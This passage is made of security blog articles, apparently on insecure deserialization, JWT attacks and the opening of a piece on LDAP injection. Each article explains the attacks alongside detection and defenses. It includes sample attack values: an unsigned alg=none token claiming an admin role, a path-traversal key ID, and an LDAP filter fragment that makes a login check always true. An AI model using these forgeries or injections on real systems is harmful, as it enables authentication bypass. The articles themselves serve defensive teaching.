Remote code execution rarely comes from a single method. It comes from a chain. A gadget is a method already present in the application or its dependencies that does something interesting when invoked with the right state. A gadget chain links several of them: the reconstruction of the outer object triggers a method that calls another method that calls another, and by the end the sequence reaches something dangerous, like reflection that loads a class or a call that runs a system command.
The attacker writes no code that runs on the server. Every gadget is legitimate library code that was already there. The attacker's only artifact is the serialized object graph that, when rebuilt, sends control down the chain. Public tooling has catalogued reusable gadget chains for popular libraries, which is why a single vulnerable deserialization call in a common framework can be exploitable with an off-the-shelf payload.
This is also why the bug resists the usual code review instincts. A reviewer looking at the vulnerable line sees a single call that deserializes a byte stream, which looks innocuous. The exploit is nowhere near that line. It is distributed across methods in libraries the reviewer will never open, assembled by an object graph that exists only in the attacker's payload. There is no dangerous-looking function to flag, no string concatenation to spot, no obvious injection point. The danger is structural: the mere act of reconstructing an attacker-chosen object graph is the vulnerability, and it hides in plain sight as a routine call.
Gadget chains live in your dependencies, not your code. You can write a perfectly clean class and still be exploitable, because the chain is assembled from methods in a logging library, an ORM, or a collections utility three levels down your dependency tree. This is why "we validated the object's fields" is not a defense. The dangerous behavior fires during reconstruction, before your validation ever runs.
## Where insecure deserialization hides
The vulnerability appears wherever a program deserializes data that crossed a trust boundary. The tell is a serialized blob in a place a client or peer can modify:
- Session objects serialized into cookies or hidden form fields
- Authentication or state tokens that are serialized objects rather than signed claims
- Cached objects in a shared cache that other tenants can influence
- Messages on a queue consumed by a worker that deserializes them
- API parameters that accept a serialized object
- Inter-service calls using a native binary format over the wire
The pattern to watch for is a native, type-carrying serialization format applied to data that originated outside your trust boundary. Binary object formats that encode arbitrary types are the highest risk. Formats meant purely for data, like JSON, do not instantiate arbitrary application classes and so do not carry the same reconstruction risk on their own.
## Safe alternatives and defenses
The most durable fix is architectural: do not deserialize untrusted data using a format that can instantiate arbitrary types. Everything else is mitigation on top of a dangerous choice.
### Prefer a pure data format
Move to a serialization format that transports data, not live objects. JSON, or a schema-defined format like Protocol Buffers, describes values and structure. Your code reads those values and constructs known types explicitly, so the attacker never gets to name a type or trigger a reconstruction hook. This removes the gadget-chain class of bug rather than trying to contain it. See our [secure coding practices](/secure-coding-practices) guide for how this fits a broader input-handling discipline.
### Sign serialized payloads you must round-trip
If a serialized object must go to a client and come back, protect its integrity. Attach a message authentication code computed with a server-side secret and verify it before deserializing. If the signature does not match, reject the payload without parsing it. This stops tampering, though it depends on the secret staying secret and does not help if the deserialization is reachable by other untrusted paths.
### Allowlist permitted classes
Where a native format cannot be avoided, constrain deserialization to a strict allowlist of expected classes and reject anything else before reconstruction proceeds. This shrinks the attack surface, but it is fiddly to implement correctly and easy to bypass if the allowlist is too broad or a permitted class is itself a gadget entry point. Treat it as a hardening layer, not a primary control.
### Isolate and monitor
Run deserialization in a low-privilege context so a successful chain lands somewhere with limited reach, and log deserialization failures, which often signal probing. Because a successful chain frequently ends in command execution, the same discipline that protects against [command injection](/command-injection-explained) and [server-side template injection](/server-side-template-injection-explained) applies to the aftermath.
Adding class allowlists and signatures to a native binary deserializer is patching a hole in a dangerous wall. The stronger move is to stop deserializing untrusted native objects at all and switch the boundary to JSON or a schema format where the attacker cannot name a type or trigger a reconstruction hook. Redesign the interface once and the entire vulnerability class disappears.
## How to defend against insecure deserialization
1. **Do not deserialize untrusted data with native object formats.** Make this a hard rule. Any serialized object that crossed a trust boundary is untrusted.
2. **Use data-only formats with explicit construction.** Accept JSON or a schema-based format, read the fields you expect, and build known types yourself.
3. **Integrity-protect any serialized payload that round-trips through a client**, verifying a signature before parsing.
4. **Allowlist deserializable classes** where a native format is unavoidable, and keep the list as small as possible.
5. **Keep dependencies patched**, since gadget chains are discovered in libraries over time and updates remove known ones.
6. **Run deserialization with least privilege** and monitor for deserialization errors that indicate probing.
Because a working chain so often ends in code execution, the attacker's next step is delivery: getting the crafted payload into your parser, frequently via a file, a token, or a queue message. Our Exploit Intelligence dashboard tracks which deserialization and object-injection flaws are being actively exploited, so you can prioritize the libraries and frameworks under real pressure instead of treating every advisory the same.
Insecure deserialization is a quiet vulnerability with a loud outcome. The payload looks like ordinary data, the dangerous work happens inside code you never wrote, and the result can be full control of the server. The path out is to stop trusting serialized objects from outside your boundary and to move those interfaces to formats that carry data instead of behavior.
## A worked walkthrough of an object-injection chain
It helps to trace the shape of an attack once, in plain terms, without inventing a specific vulnerability. Picture an application that stores a shopping session client-side. The session is a live object with a few fields: a user identifier, a cart, and a timestamp. To persist it, the framework serializes that object into a byte stream, encodes it, and drops it into a cookie. On the next request the framework reads the cookie, decodes it, and deserializes the byte stream back into a session object.
Now trace what the attacker sees. The cookie is a blob they can read and rewrite. If the format is a native, type-carrying one, the first field of that blob effectively names a class. The attacker changes that name. Instead of describing a session object, the blob now describes an object of some other class that happens to live in the application's dependency tree. When the framework deserializes the cookie, it does exactly what it was told: it instantiates the class the blob names and populates the fields the blob supplies.
The next link is the reconstruction hook. Many classes define a method that runs automatically when an instance is rebuilt from bytes, a place meant for validating fields or restoring transient state. The attacker chooses a class whose hook reads one of its own fields and passes it to another method. That field, of course, is also attacker-supplied. So the hook fires, reads the attacker's value, and hands it to the next gadget. That gadget might invoke a method by name using reflection, and the name is again a field the attacker set. Step by step, control walks from a harmless-looking cookie into a call that loads a class, runs a template, or executes a command.
The important thing about this trace is that every method along the way is ordinary library code. Nobody wrote a malicious function. The attacker assembled a path through code that already existed, using nothing but the field values encoded in the object graph. That is the entire mechanism, and it is why the fix has to be structural. The technique corresponds to MITRE ATT&CK Exploitation for Client Execution and maps to CWE-502, Deserialization of Untrusted Data.
## Detection signals
Insecure deserialization is quiet by design, so detection leans on knowing where serialized data enters and watching those points closely. A few concrete signals separate real exposure from theoretical worry.
Look first for the raw material. Base64 or hex blobs in cookies, hidden form fields, authentication tokens, cache entries, and message-queue payloads are the tell. A native serialization format usually carries a recognizable header or magic bytes at the start of the stream, so a decoded value that begins with a consistent prefix and then names class-like strings is a strong indicator that the application round-trips live objects rather than plain data.
At runtime, watch for deserialization errors in application logs. An attacker probing a parser generates malformed streams, and those throw type or class-resolution exceptions. A sudden rise in deserialization exceptions, especially ones naming unexpected classes, is one of the clearest live signals that someone is testing the surface. Unusual class-resolution attempts, where the runtime is asked to load a class that has no business appearing in a session or a token, deserve an alert on their own.
Behavioral signals sit downstream of a successful chain. Because chains so often terminate in command execution or an outbound connection, a worker process that suddenly spawns a shell, resolves an unexpected hostname, or opens a socket right after consuming a serialized message is worth treating as an incident. Correlating the timing of a deserialization event with a new child process is a high-value detection.
| Signal | Where to look | What it suggests |
|---|---|---|
| Serialized blob a client can edit | Cookies, hidden fields, tokens, queue messages | An exposed deserialization boundary |
| Native-format magic bytes after decoding | Decoded cookie or token values | Live objects being round-tripped, not data |
| Spike in class-resolution exceptions | Application and framework logs | Active probing of the parser |
| Unexpected class names in errors | Deserialization stack traces | Attempted object injection |
| Process spawn or outbound socket after a deserialize | Host and network telemetry | A chain that reached execution |
A web application firewall struggles here because a malicious serialized object looks like a normal one. The higher-value control is instrumentation at the deserialization call itself: log every class the runtime is asked to resolve during reconstruction, alert on any class outside a known-good set, and treat a resolution failure as a probing signal rather than a routine error.
## How insecure deserialization compares to related bugs
Deserialization sits in the same family as other injection classes, and placing it beside them clarifies what makes it distinct.
| Technique | Attacker supplies | Where the damage happens | Typical fix |
|---|---|---|---|
| Insecure deserialization | A crafted object graph | During reconstruction, inside library code | Stop deserializing untrusted native objects |
| Command injection | A string that reaches a shell | At the point the command runs | Avoid shells, pass arguments as arrays |
| SQL injection | A string that reaches a query | At query execution | Parameterized queries |
| Server-side template injection | Template syntax in input | When the template engine renders | Keep user input out of template code |
The common thread is a trust boundary crossed by data that then gets interpreted as more than data. What sets deserialization apart is the distance between the vulnerable line and the payload. In SQL and command injection the dangerous sink is visible and local. In deserialization the sink is spread across methods in dependencies, and the single visible line, the call that reads a byte stream, looks benign. That distance is why static review and simple input filtering both underperform against it.
## Common misconceptions
A few beliefs make this bug more dangerous than it needs to be, because they lead teams to defend the wrong thing.
**"We validate the object's fields after loading, so we are safe."** Validation runs after reconstruction, and the dangerous behavior fires during reconstruction. By the time your validation code sees the object, the reconstruction hooks and the gadget chain have already executed. Field validation protects against tampering with values you trust, and it does nothing against a chain that reaches code execution before your first check.
**"Our own classes are clean, so we have nothing to worry about."** The gadgets live in dependencies. You can audit every class you wrote and still be exploitable through a chain assembled from a logging framework, an object-relational mapper, or a collections utility deep in the tree. The relevant attack surface is the transitive dependency graph, not the application code.
**"It is only a problem if we deserialize user input directly."** The boundary is anywhere untrusted data enters, which includes caches other tenants can influence, queues fed by upstream systems, and inter-service messages. A serialized object that arrives from a peer service you do not fully control is untrusted for this purpose.
**"Encrypting the blob fixes it."** Encryption hides the contents and can prevent tampering when the key stays secret, which helps. It does nothing if the deserialization is reachable by another untrusted path, and it fails entirely if the key leaks. Encryption is a tampering control layered on a dangerous design, and the design is what carries the risk.
## How the problem evolved
Native serialization was designed in an era when the network was assumed to be more trusted and convenience was the priority. The formats made it trivial to move a live object across a boundary and reconstruct it on the other side, complete with automatic reconstruction hooks. That convenience is exactly what made them dangerous once untrusted data started flowing into them.
The class of bug moved from obscure to mainstream when researchers published reusable gadget chains for widely used libraries and packaged them into tooling. Once a chain for a popular framework was public, a single vulnerable deserialization call anywhere that framework was used became exploitable with an off-the-shelf payload. That shifted the economics: an attacker no longer needed to discover a chain, only to find a place where untrusted data reached a native deserializer.
The defensive response followed two tracks. Libraries added allowlisting hooks and safer defaults, and guidance moved toward avoiding native deserialization of untrusted data entirely. The durable lesson from that history is that patching individual gadgets is a losing game, because new chains keep appearing, while changing the boundary format removes the whole class at once.
## Frequently asked questions
**Is deserialization always dangerous?**
No. Deserializing data you fully trust, or using a data-only format like JSON that cannot instantiate arbitrary application classes, does not carry the gadget-chain risk. The danger is specifically native, type-carrying formats applied to data that crossed a trust boundary.
**Does using JSON make me completely safe?**
JSON removes the core reconstruction risk because it describes values and structure, not live objects, so a parser will not instantiate an arbitrary class from it. You still have to construct your own objects from those values carefully, and libraries that add type information on top of JSON to support polymorphic deserialization can reintroduce the problem. Plain JSON with explicit, known types is the safe path.
**Can a web application firewall stop this?**
Not reliably. A malicious serialized object is structurally similar to a legitimate one, so signature-based filtering catches only known payloads and misses novel object graphs. Instrumenting the deserialization call and allowlisting classes is far more effective than perimeter filtering.
**Why does removing the dangerous classes not fix it?**
Removing a known gadget helps against one published chain, and new chains form from different combinations of methods as dependencies change. Pruning gadgets is a hardening measure with a short shelf life. Avoiding untrusted native deserialization is the control that holds.
**What is the single most effective fix?**
Move the boundary to a data-only format and construct known types yourself. That one architectural change removes the ability of an attacker to name a type or trigger a reconstruction hook, which is the root of the entire vulnerability class.
**How do signed payloads fit in?**
Attaching a message authentication code to a serialized payload and verifying it before parsing stops tampering, so an attacker cannot swap in their own object graph. It depends on the signing secret staying secret and does not help if the deserialization is reachable through another path, so treat it as one layer rather than the whole answer.
## Related guides
- [Command Injection Explained](/command-injection-explained)
- [Server-Side Template Injection Explained](/server-side-template-injection-explained)
- [API Abuse Explained](/api-abuse-explained)
- [Secure Coding Practices](/secure-coding-practices)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Deserialization of Untrusted Data (OWASP): https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
- PortSwigger Web Security Academy: Insecure Deserialization (PortSwigger): https://portswigger.net/web-security/deserialization
- OWASP Deserialization Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
---
## JWT Attacks: alg=none, Algorithm Confusion & Weak Secrets
> How JSON Web Token attacks work: the alg=none trick, RS256-to-HS256 algorithm confusion, brute-forcing weak secrets, and how to defend.
- URL: https://blog.pwnsy.com/jwt-attacks-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: jwt, web-security, authentication, api-security, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- A JWT is only as trustworthy as the signature check behind it, and most JWT attacks are ways to make the server skip or misapply that check.
- The alg=none attack strips the signature entirely, while algorithm confusion tricks a server into verifying an RS256 token with the public key as an HMAC secret.
- Weak or default HMAC secrets can be brute-forced offline, letting an attacker forge any token they like without ever touching your server again.
- Tokens with no expiry, no revocation path, and secrets in source control turn a single leak into permanent access.
### Key Takeaways
- Always pin the accepted algorithm on the server and reject any token whose header algorithm does not match what you expect.
- Never feed the algorithm from the token header into your verification call, because that is exactly what enables alg=none and RS256-to-HS256 confusion.
- HMAC secrets must be long and random; a dictionary word or a leaked key means an attacker can mint valid tokens at will.
- Short-lived access tokens plus a server-side revocation or session check limit the damage when a token leaks.
- Treat the JWT as attacker-controlled input until the signature and claims have both been validated.
A JSON Web Token is a small, signed piece of state the client carries around and hands back to prove who it is. The design is clean, and when the signature check is done correctly the token is hard to forge. The trouble is that the signature check is easy to do incorrectly, and a whole family of attacks exists purely to make the server accept a token it should have rejected.
This guide walks through the main JWT attacks you will actually encounter, why each one works, and the small set of server-side rules that shut them all down. If you want the mechanics of the token format itself first, start with [What Is a JWT](/what-is-a-jwt).
## A quick refresher on structure
A JWT has three parts, separated by dots: a header, a payload, and a signature, each Base64url-encoded.
```
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.
```
The header names the signing algorithm, for example `HS256` (HMAC with a shared secret) or `RS256` (RSA with a private and public key pair). The payload carries claims such as the subject, the role, and an expiry. The signature is computed over the header and payload using the chosen algorithm and key.
The security model rests on one thing: only the server holds the key needed to produce a valid signature, so only the server can issue a token, and anyone can verify one without being able to alter it. Every attack below is an attempt to break that single assumption.
## The alg=none attack
The JWT specification allows an `alg` value of `none`, meaning the token is unsigned. It exists for cases where the transport is already trusted. In practice it is a loaded gun pointed at any library that honors it by default.
The attack is straightforward. The attacker takes a valid token, edits the payload to elevate their role or change the subject, sets the header algorithm to `none`, and deletes the signature. A server that reads the algorithm from the token header and finds `none` may conclude that no signature is required, and accept the forged claims as genuine.
```
{"alg":"none","typ":"JWT"}.{"sub":"alice","role":"admin"}.
```
No key, no cryptography, no effort. The root cause is that the server trusted the token to tell it how to verify the token.
The header of a JWT is attacker-controlled. If your verification logic reads `alg` from the incoming token and acts on it, the attacker chooses the verification path. Decide the accepted algorithm on the server, from configuration, and reject anything that does not match, including `none`.
## Algorithm confusion: RS256 to HS256
This one is more subtle and more dangerous. It abuses the difference between asymmetric and symmetric signing.
With `RS256`, the server signs tokens using a private key and verifies them with the matching public key. The public key is, by design, public. With `HS256`, signing and verifying both use the same shared secret, and that secret must stay secret.
The confusion attack works like this. The attacker takes a legitimately RS256-signed token, changes the header algorithm to `HS256`, then signs the modified token using the server's public key as if it were the HMAC secret. If the server's verification function is told to trust the algorithm named in the header, it will now run HMAC-SHA256 using the public key it holds. The attacker also has that public key. So the attacker can produce a signature the server will accept.
The whole trick hinges on the server passing one key to a verification routine that switches behavior based on the header. The fix is the same principle as before: the server must fix the algorithm to `RS256` and refuse to verify anything else, so a token claiming `HS256` is rejected outright.
## Brute-forcing weak HMAC secrets
When a token uses `HS256`, its security is entirely the strength of the shared secret. An attacker who captures a single valid token can attack the secret offline, at their own pace, with no rate limiting and no server involvement.
They take the token's signed portion and the signature, then try candidate secrets until one reproduces the signature. Standard wordlists and cracking tools make short work of common choices: `secret`, `password`, a project name, a value copied from a public tutorial, or a short random string. Once the secret is recovered, the attacker can forge any token with any claims, and nothing on the server will look wrong.
This is why a leaked or weak signing secret is a full authentication bypass. On MITRE ATT&CK, using a stolen or forged token to authenticate falls under [Steal Application Access Token (T1528)](https://attack.mitre.org/techniques/T1528/) and the broader [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550/) technique family.
## Header parameter injection: kid, jku, and x5u
The JWT header can carry more than the algorithm. Several optional parameters tell the verifier where to find the key, and a server that trusts them hands the attacker influence over verification.
- **`kid` (key ID)** names which key to use. If the server uses that value to look up a key file or a database row without sanitizing it, the attacker can point it at a file they control, or inject path traversal and even SQL through it. A `kid` of `../../dev/null` can make the server verify against an empty key the attacker also knows.
- **`jku` (JWK Set URL)** tells the verifier to fetch the signing keys from a URL. If the server fetches from any URL in the header, the attacker hosts their own key set, signs the token with the matching private key, and the server fetches the attacker's public key and accepts the forgery.
- **`x5u` (X.509 URL)** does the same with a certificate URL and carries the same risk.
The defense mirrors the algorithm rule. Do not let the token tell the server where to find its key. Resolve keys from a fixed, server-side configuration, and if you support key rotation through `kid`, validate it strictly against a known set rather than treating it as a path or a lookup string.
## Missing or ignored claims
Even a correctly signed token can be dangerous if the server ignores the claims that bound its use.
- **No expiry.** A token without an `exp` claim, or a server that never checks it, never dies. One leak in a log, a proxy, or browser history becomes permanent access.
- **Ignored audience and issuer.** If the server does not verify `aud` and `iss`, a token minted for one service can be replayed against another that shares the same key.
- **No revocation.** Because a JWT is self-contained, the server can validate it without a database lookup. That is the selling point and the weakness. Logout and password reset do nothing to a token already in the wild unless you add a server-side check.
## Attack summary
| Attack | What the attacker changes | Root cause | Primary defense |
|---|---|---|---|
| alg=none | Sets `alg` to `none`, drops the signature | Server trusts the header's algorithm | Pin the algorithm server-side, reject `none` |
| Algorithm confusion | Switches `RS256` to `HS256`, signs with the public key | Verifier chooses key type from the header | Enforce one expected algorithm |
| Weak secret | Nothing; cracks the secret offline | Guessable or leaked HMAC secret | Long random secret, rotate on leak |
| Missing expiry | Reuses a token indefinitely | No `exp` check or no revocation | Short lifetimes plus server-side session checks |
| Claim confusion | Replays across services | `aud` and `iss` unchecked | Validate audience and issuer |
## How to defend against JWT attacks
The defenses are cheap and they compound. Apply all of them.
1. **Pin the algorithm on the server.** Configure exactly which algorithm you accept and reject every token that names a different one. Do not let the incoming token's header select the verification path. This single rule kills both `alg=none` and RS256-to-HS256 confusion.
2. **Use strong, secret keys.** For HMAC, use a long, randomly generated secret held in a secrets manager, never in source control or a tutorial default. For RSA and ECDSA, protect the private key and treat the public key as public.
3. **Validate every claim you rely on.** Check `exp`, and check `aud` and `iss` against the values your service expects. Reject tokens that omit claims your authorization logic reads.
4. **Keep access tokens short-lived.** Pair a short-lived access token with a refresh mechanism, so a leaked token is useful for minutes rather than forever.
5. **Add a revocation path.** Keep a server-side session or a denylist of revoked token identifiers so logout, password reset, and incident response can actually cut off access.
6. **Use a maintained library and keep it patched.** The safe defaults in modern JWT libraries exist because of exactly these attacks. Do not hand-roll verification.
Forged and stolen tokens are a recurring theme in real-world intrusions. Our Exploit Intelligence dashboard tracks live vulnerabilities across authentication and API components, so you can see which classes of flaw are being weaponized rather than just theoretically risky.
A JWT is a good tool with a sharp edge. The token is attacker-controlled input right up until your server has confirmed the signature with an algorithm and key that you chose, and confirmed the claims say what your authorization logic needs. Fix the algorithm, protect the key, check the claims, and keep the tokens short-lived. Do those four things and the attacks in this guide have nothing left to grab.
## A worked example: tracing an algorithm-confusion forgery
Walking through the confusion attack step by step makes the root cause concrete. Start with a service that issues RS256 tokens. It holds an RSA private key it never shares and publishes the matching public key so clients and other services can verify signatures. This is the intended design, and the public key being public is a feature.
The attacker begins with any valid token the service issued. They decode the header and payload, which requires no secret because both are only Base64url-encoded. They rewrite the payload to say what they want, perhaps changing a role claim to an administrative value. So far this is trivial, and on its own it produces an invalid token because the signature no longer matches.
Now the pivot. The attacker changes the header algorithm from `RS256` to `HS256`. HS256 is symmetric, so verification uses one shared secret for both signing and checking. The attacker needs a secret that the server also holds. They already have one: the server's public key, which is published. The attacker computes an HMAC-SHA256 signature over the tampered header and payload using the public key bytes as the HMAC key.
When the token reaches the server, the flaw decides the outcome. If the verification code reads `alg` from the incoming header and selects its behavior from that value, it sees `HS256` and runs HMAC verification. For the key it reaches for the RSA public key it has on file, because that is the key material associated with this issuer. It computes HMAC-SHA256 over the header and payload using that public key, and the result matches the attacker's signature, because the attacker used the very same bytes. The token is accepted, and the attacker is now an administrator.
The single mistake that makes every step work is letting the token's own header choose the algorithm. Pin the algorithm to `RS256` on the server and a token claiming `HS256` is rejected before any key is touched. This maps to MITRE ATT&CK Use Alternate Authentication Material and its sub-technique for application access tokens.
## Detection signals
JWT attacks leave traces at the verification layer, so detection depends on logging what your tokens claim and how verification behaves. A few signals are worth wiring into monitoring.
Watch the header algorithm distribution. In a healthy system every token names the one algorithm you issue. Any inbound token whose header names a different algorithm, especially `none` or a switch between an asymmetric and a symmetric family, is a probing attempt and should be logged and counted. A rise in tokens carrying `none` is one of the clearest signals that someone is testing your verifier.
Watch for verification anomalies. A burst of signature-verification failures from a single client suggests an offline forgery attempt being tested against the live endpoint. Tokens that decode cleanly at the payload level but fail signature checks are the normal shape of a forgery attempt, so a spike in that specific pattern deserves attention.
Watch the optional header parameters. Requests carrying a `jku` or `x5u` pointing at an external host, or a `kid` containing path characters, slashes, or SQL-like syntax, indicate someone probing the key-resolution path. These parameters have narrow legitimate uses, so unusual values in them are high-signal.
| Signal | Where to look | What it suggests |
|---|---|---|
| Inbound token with `alg` of `none` | Auth-layer logs | alg=none forgery attempt |
| Algorithm switching between families | Token header logging | Algorithm-confusion probing |
| Spike in decode-ok, verify-fail tokens | Verification metrics | Offline forgery being tested |
| `kid` with path or query characters | Header parameter logs | Injection through key lookup |
| `jku` or `x5u` to an external host | Header parameter logs | Attacker-hosted key set |
| Expired tokens still accepted | Session and access logs | Missing or ignored `exp` check |
The JWT header is attacker input, and it is also a rich source of detection. Record the algorithm and any key-resolution parameters on every request before verification runs. That log costs almost nothing and turns silent forgery attempts into visible, countable events you can alert on.
## How JWT attacks compare to related session mechanisms
Placing JWTs beside other ways of carrying identity clarifies the trade-offs that create these attacks.
| Property | Signed JWT | Server-side session ID | Opaque bearer token |
|---|---|---|---|
| State location | In the token, self-contained | In server storage | Reference to server storage |
| Revocation | Hard without extra state | Immediate | Immediate |
| Forgery risk | Signature and algorithm bugs | Guessing or fixation | Guessing the reference |
| Offline attack | Possible against HMAC secrets | Not applicable | Not applicable |
| Scaling cost | No lookup on validate | Lookup per request | Lookup per request |
The self-contained design that makes a JWT cheap to validate is the same property that makes revocation hard and offline forgery possible when the secret is weak. A server-side session identifier avoids both problems at the cost of a storage lookup on every request. Neither is universally better, and the JWT attacks in this guide are the price of the self-contained model, which is why the defenses focus on making the signature check impossible to bypass and adding back a revocation path.
## Common misconceptions
**"JWTs are encrypted, so the contents are safe."** A standard signed JWT is signed, not encrypted. The header and payload are only Base64url-encoded, which anyone can decode. Never place a secret in a JWT payload expecting it to stay hidden. Encryption is a separate mechanism that has to be applied deliberately.
**"The signature proves the user is who they claim."** The signature proves the token was issued by something holding the key, and only if you verified it with the algorithm and key you chose. If the verifier lets the token pick its own algorithm, the signature proves nothing. Verification correctness, not the mere presence of a signature, is what carries the guarantee.
**"A long random secret means I can skip the algorithm check."** A strong HMAC secret defeats brute forcing, and it does nothing against alg=none or algorithm confusion, which bypass the secret entirely by changing how verification runs. You need both a strong secret and a pinned algorithm.
**"Once a token is signed, it is valid until it expires and there is nothing more to do."** Claims still matter. A correctly signed token with no audience check can be replayed against a sibling service sharing the key, and a signed token with no revocation path survives logout and password reset. Signature validity is one of several checks, and skipping the others leaves real gaps.
## How JWT attacks evolved
The `none` algorithm was written into the standard for legitimate cases where the transport already guarantees integrity. Early libraries honored it by default, and because many verifiers read the algorithm from the token, changing the header to `none` bypassed authentication outright. The response was for libraries to stop accepting `none` unless explicitly configured and for guidance to insist on pinning the algorithm.
Algorithm confusion emerged from the same design pattern once developers mixed asymmetric and symmetric algorithms behind a single verification call that trusted the header. The public nature of the RSA public key, ordinarily harmless, became the forgery key. Modern libraries increasingly require the caller to state the expected algorithm and key type, which removes the ambiguity that made confusion possible.
The header-parameter attacks through `kid`, `jku`, and `x5u` followed as attackers looked past the algorithm to any field that influenced verification. Each one is the same lesson repeated: any part of an attacker-controlled token that steers the verification process is a vulnerability. The durable defense that came out of this history is simple to state. Decide the algorithm and the key on the server, from configuration, and let nothing in the token change either.
## Frequently asked questions
**Should I stop using JWTs entirely?**
No. A JWT with a pinned algorithm, a strong key, validated claims, a short lifetime, and a revocation path is a solid design. The attacks target misconfiguration, and a correctly configured token is hard to forge. Choose based on whether you value cheap stateless validation or immediate revocation more.
**Is RS256 safer than HS256?**
Each is safe when used correctly. RS256 avoids sharing a secret with verifiers, which is useful when many parties verify but only one issues. HS256 is simpler when one service both issues and verifies. The algorithm-confusion attack targets systems that accept both interchangeably, so the real safety comes from accepting exactly one and rejecting the rest.
**How short should token lifetimes be?**
Short enough that a leaked access token is useful for minutes rather than days, paired with a refresh mechanism for continuity. The exact number depends on your risk tolerance, and the principle is that a self-contained token you cannot easily revoke should not live long.
**Can I revoke a JWT?**
Not with the token alone, since it validates without a lookup. You add revocation by keeping server-side state, such as a session record or a denylist of revoked token identifiers, and checking it during authorization. That reintroduces a lookup, which is the cost of being able to cut off access.
**Where should the signing secret live?**
In a secrets manager or equivalent protected store, never in source control, a configuration file committed to a repository, or a tutorial default. A leaked HMAC secret is a full authentication bypass, because anyone holding it can mint valid tokens with any claims.
**Does checking `exp` cover everything about token lifetime?**
Checking `exp` stops indefinitely reused tokens, and you should also validate `aud` and `iss` so a token minted for one service cannot be replayed against another, and add a revocation path so logout and incident response can end a session before its natural expiry.
## A quick verification checklist
Before shipping any service that consumes JWTs, walk this short list against your verification code. Each item closes one of the attacks above, and together they leave nothing loose.
1. The accepted algorithm is set in server configuration, and any token naming a different algorithm is rejected before verification. This includes an explicit rejection of `none`.
2. The verification call is told which algorithm and key type to expect, so it never selects its behavior from the incoming header.
3. The HMAC secret, if you use one, is long, randomly generated, and stored in a secrets manager. RSA and ECDSA private keys are similarly protected, and the public key is treated as public.
4. Key resolution happens from server-side configuration. If `kid` is supported, its value is checked against a known set rather than used as a file path or a database lookup string, and `jku` and `x5u` from the token are ignored.
5. Every claim your authorization logic reads is validated, including `exp`, `aud`, and `iss`, and a token missing a required claim is rejected.
6. Access tokens are short-lived, and a server-side session or denylist gives you a way to revoke access before expiry.
Run through those six points and the attacks in this guide have no remaining foothold. The verification layer is small, and getting it right once protects every endpoint behind it.
## Related guides
- [OAuth Attacks Explained](/oauth-attacks-explained)
- [What Is a JWT](/what-is-a-jwt)
- [Session Hijacking Explained](/session-hijacking-explained)
- [API Security Guide](/api-security-guide)
### Sources
- PortSwigger Web Security Academy: JWT attacks (PortSwigger): https://portswigger.net/web-security/jwt
- RFC 7519: JSON Web Token (JWT) (IETF): https://datatracker.ietf.org/doc/html/rfc7519
- MITRE ATT&CK: Steal Application Access Token (T1528) (MITRE): https://attack.mitre.org/techniques/T1528/
---
## LDAP Injection: Filter Manipulation & Auth Bypass
> How LDAP injection lets attackers rewrite directory search filters to bypass logins and read data, why it happens, and how to bind and query safely.
- URL: https://blog.pwnsy.com/ldap-injection-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: ldap-injection, web-security, owasp, authentication, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- LDAP injection happens when user input is concatenated into a directory search filter, letting an attacker rewrite the filter logic the application runs.
- The classic payload turns a login check into an always-true filter, granting authentication bypass without a valid password.
- The same flaw leaks directory data: usernames, group membership, email addresses, and internal attributes an attacker was never meant to enumerate.
- The fix is to escape every special character per RFC 4515 and, where possible, bind with a fixed service account rather than building filters from raw input.
### Key Takeaways
- LDAP filters use a prefix notation where characters like parentheses, asterisk, backslash, and NUL carry structural meaning, so unescaped input rewrites the query.
- Authentication bypass works because an injected `)(uid=*` or similar fragment collapses the intended filter into one that matches any entry.
- Blind LDAP injection extracts data one character at a time by observing whether a crafted filter returns a result, even when no output is shown.
- Escaping filter metacharacters with their backslash-hex form is the primary defense, mirroring parameterization in SQL.
- Least-privilege bind accounts and deny-by-default input validation cap the damage when a filter is still built from user data.
Many applications still keep their users, groups, and permissions in a directory service, and they reach that directory with LDAP. When a login form or a search box builds an LDAP query by pasting user input straight into a filter string, the same problem that gives you SQL injection appears in a new place. An attacker who understands the filter syntax can rewrite the query the server runs, and the payoff ranges from reading directory attributes to logging in as someone else without a password.
LDAP injection is less famous than SQL injection, which works in the attacker's favor. Directory-backed login and lookup features often get less scrutiny, and the escaping rules are unfamiliar to developers who rarely touch LDAP.
## How LDAP filters actually work
LDAP search filters use prefix notation and lean heavily on parentheses. A filter that finds a user by name looks like this:
```
(uid=jsmith)
```
Boolean logic wraps around individual terms rather than sitting between them. An AND of two conditions is written with the operator first:
```
(&(uid=jsmith)(objectClass=person))
```
An OR uses `|` in the same position, and `!` negates. The asterisk `*` is a wildcard that matches any value. Those characters, along with the backslash and the NUL byte, are the structural grammar of a filter. If user input can carry any of them into the string unescaped, the input stops being data and becomes part of the query.
## The core vulnerability
Picture a login that checks credentials against a directory. The application takes the submitted username and password and builds a filter to find a matching entry:
```
(&(uid=USERNAME)(userPassword=PASSWORD))
```
